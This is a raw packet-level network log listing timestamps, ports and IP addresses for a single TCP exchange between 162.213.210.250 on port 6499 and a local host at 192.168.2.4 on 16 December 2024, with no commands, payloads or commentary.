Dec 16, 2024 16:15:12.317776918 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.317904949 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.318737984 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.318753958 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.319358110 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.319776058 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.319801092 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.320668936 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.320683956 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.321506023 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.321866989 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.321960926 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.322283030 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.322962999 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.323055029 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.323333979 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.323896885 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.324697971 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.324721098 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.324966908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.325603962 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.325666904 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.326282978 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.326440096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.326455116 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.326529026 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.326663017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.327398062 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.327728987 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.328505993 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.328521967 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.328811884 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.329549074 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.329564095 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.329615116 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.330365896 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.330380917 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.330408096 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.330976009 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.331496954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.386267900 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.583153009 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.623064995 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.703821898 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.703865051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.704082966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.704124928 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.704277992 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.704508066 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.743233919 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.743252993 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.743357897 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.743606091 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.743705034 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.744118929 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.744653940 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.744792938 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.744967937 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.745559931 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.746093988 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.746516943 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.746532917 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.746572971 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.747581005 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.747729063 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.748119116 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.748511076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.748526096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.748548985 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.749492884 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.749510050 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.749553919 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.750473976 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.750490904 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.750533104 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.750606060 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.751359940 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.751523972 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.751844883 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.752300024 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.752315998 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.752435923 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.753236055 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.753386974 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.753715038 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.754379034 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.754395008 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.754461050 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.755346060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.755537987 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.756297112 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.756827116 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.756891966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.757035017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.757112980 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.757128954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.757328033 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.758162975 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.758300066 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.758841038 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.759040117 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.759767056 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.760013103 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.760204077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.760220051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.760318995 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.761097908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.761112928 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.761941910 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.761997938 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.762096882 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.762271881 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.762902975 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.763220072 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.763308048 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.764003992 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.764641047 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.764945984 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.764960051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.765341997 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.765393972 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.765937090 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.766017914 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.766032934 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.766437054 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.767036915 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.767452955 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.767482996 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.767942905 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.767959118 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.768058062 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.769061089 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.769150019 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.769217968 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.769893885 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.770036936 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.770060062 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.770816088 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.770937920 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.771256924 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.771816969 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.772063017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.772078037 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.772891998 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.773128986 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.773489952 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.773741961 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.773757935 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.774373055 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.774689913 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.774734020 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.774801970 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.775640965 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.775811911 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.776613951 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.776631117 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.776688099 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.776734114 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.777749062 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.777770996 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.777918100 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.778526068 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.778789997 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.778820992 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.779468060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.780003071 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.780158997 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.780550957 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.780646086 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.780925989 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.781434059 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.781554937 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.781631947 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.782921076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.783065081 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.783098936 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.783339024 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.783427954 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.783847094 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.784343958 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.784496069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.784610987 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.785434008 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.785449982 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.785496950 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.786386013 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.786622047 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.786850929 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.787364006 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.787470102 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.787719011 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.788213015 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.788237095 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.788269997 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.789236069 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.789386034 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.789406061 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.790174961 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.790273905 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.791129112 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.791227102 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.791276932 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.792370081 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.792428017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.792494059 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.793040991 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.793056965 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.793318987 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.793927908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.793987036 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.794034958 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.794909954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.794961929 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.794992924 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.795886040 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.795927048 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.796040058 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.796889067 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.796905041 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.797132015 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.797863007 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.798278093 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.798304081 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.798801899 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.799139977 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.799190998 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.799741030 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.800288916 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.800347090 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.800688028 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.801160097 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.801218033 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.801682949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.801731110 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.801753998 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.802670002 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.802898884 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.803627968 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.803841114 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.803910017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.804804087 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.805001020 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.805398941 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.805710077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.805726051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.806550980 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.806566000 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.806601048 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.806849003 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.807486057 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.807924032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.808075905 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.808532953 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.808646917 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.808890104 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.809663057 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.809756041 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.810034037 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.810698986 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.810714960 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.810879946 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.811470032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.811486959 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.811595917 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.812351942 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.812731981 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.812829018 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.813271046 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.813426018 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.814199924 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.814215899 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.814238071 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.814476013 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.815186024 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.815340042 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.815531969 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.816432953 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.816570997 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.816943884 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.817167044 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.817291021 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.818114042 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.818129063 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.818144083 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.818191051 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.819109917 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.819236040 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.819875002 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.820061922 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.820199013 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.820367098 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.821029902 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.821105957 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.821129084 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.821995974 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.822011948 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.822082043 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.822932005 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.822949886 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.823124886 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.823935032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.823950052 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.824115038 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.824810028 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.825154066 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.825416088 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.825829983 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.825865030 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.825901031 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.826766968 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.826838970 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.826870918 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.827766895 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.827867985 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.828814983 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.828830957 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.828902006 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.828932047 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.829848051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.829976082 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.830028057 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.830635071 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.830885887 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.830905914 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.831708908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.832418919 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.832585096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.832601070 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.832703114 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.832704067 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:12.833499908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.833534956 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:12.833576918 CET	49831	6499	192.168.2.4	162.213.210.250
